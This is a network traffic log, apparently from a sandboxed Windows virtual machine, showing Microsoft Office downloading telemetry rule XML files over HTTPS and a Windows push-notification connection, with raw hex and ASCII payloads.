2024-11-13 17:08:14 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:13 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a5c30855-701e-0050-65a2-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170813Z-1749fc9bdbdlzhmchC1DFWe68s000000014000000000mavn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:13 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:14 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170813Z-16547b76f7ftdm8dhC1DFWs13g0000000hag00000000smxv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:13 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 06b39b0e-901e-00a0-53a2-346a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170813Z-1749fc9bdbd85qw2hC1DFW157000000001f000000000725d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:14 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:13 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:13 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170813Z-16547b76f7fj5p7mhC1DFWf8w40000000hn0000000002rgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:14 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:14 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 59f2508d-401e-00a3-296f-358b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170815Z-1749fc9bdbdb8fs8hC1DFW2b8g00000001c000000000fxat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:14 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:15 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 94736ed5-d01e-0082-79a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170815Z-1749fc9bdbdb8fs8hC1DFW2b8g00000001eg000000007x6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:15 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:14 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:15 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 636fa6f6-501e-0078-3aa7-3406cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170815Z-r178fb8d7652w4wkhC1DFW0d7w00000001bg000000001gbc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:15 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:15 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:15 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:15 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170815Z-16547b76f7fx6rhxhC1DFW76kg0000000hdg00000000da1s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:15 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:15 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:15 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c860b0c2-d01e-007a-2fa3-34f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170815Z-r178fb8d765pnpzfhC1DFWgn8s000000019g00000000sdts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:15 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49735	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:15 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 65 55 48 57 55 6d 38 35 5a 55 79 55 2b 75 48 32 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 31 62 33 32 34 64 65 64 32 64 62 34 61 35 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: eUHWUm85ZUyU+uH2.1Context: a1b324ded2db4a5c
2024-11-13 17:08:15 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-13 17:08:15 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 65 55 48 57 55 6d 38 35 5a 55 79 55 2b 75 48 32 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 31 62 33 32 34 64 65 64 32 64 62 34 61 35 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 67 70 4f 43 31 65 2b 6a 6b 54 61 78 4d 48 2f 48 78 4d 69 70 42 67 78 36 4b 37 32 49 2f 74 44 78 33 46 49 66 76 6d 39 61 7a 6b 67 42 48 55 78 6b 6f 72 78 78 34 41 6f 33 6c 43 55 66 57 66 51 41 6c 44 6c 43 6c 63 30 4f 66 70 41 4e 30 30 57 58 63 30 63 50 4a 2f 2f 5a 6c 6b 71 48 35 30 6c 52 4a 31 73 51 67 2b 43 57 48 54 35 67 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: eUHWUm85ZUyU+uH2.2Context: a1b324ded2db4a5c<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfgpOC1e+jkTaxMH/HxMipBgx6K72I/tDx3FIfvm9azkgBHUxkorxx4Ao3lCUfWfQAlDlClc0OfpAN00WXc0cPJ//ZlkqH50lRJ1sQg+CWHT5g
2024-11-13 17:08:15 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 65 55 48 57 55 6d 38 35 5a 55 79 55 2b 75 48 32 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 31 62 33 32 34 64 65 64 32 64 62 34 61 35 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: eUHWUm85ZUyU+uH2.3Context: a1b324ded2db4a5c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-13 17:08:15 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
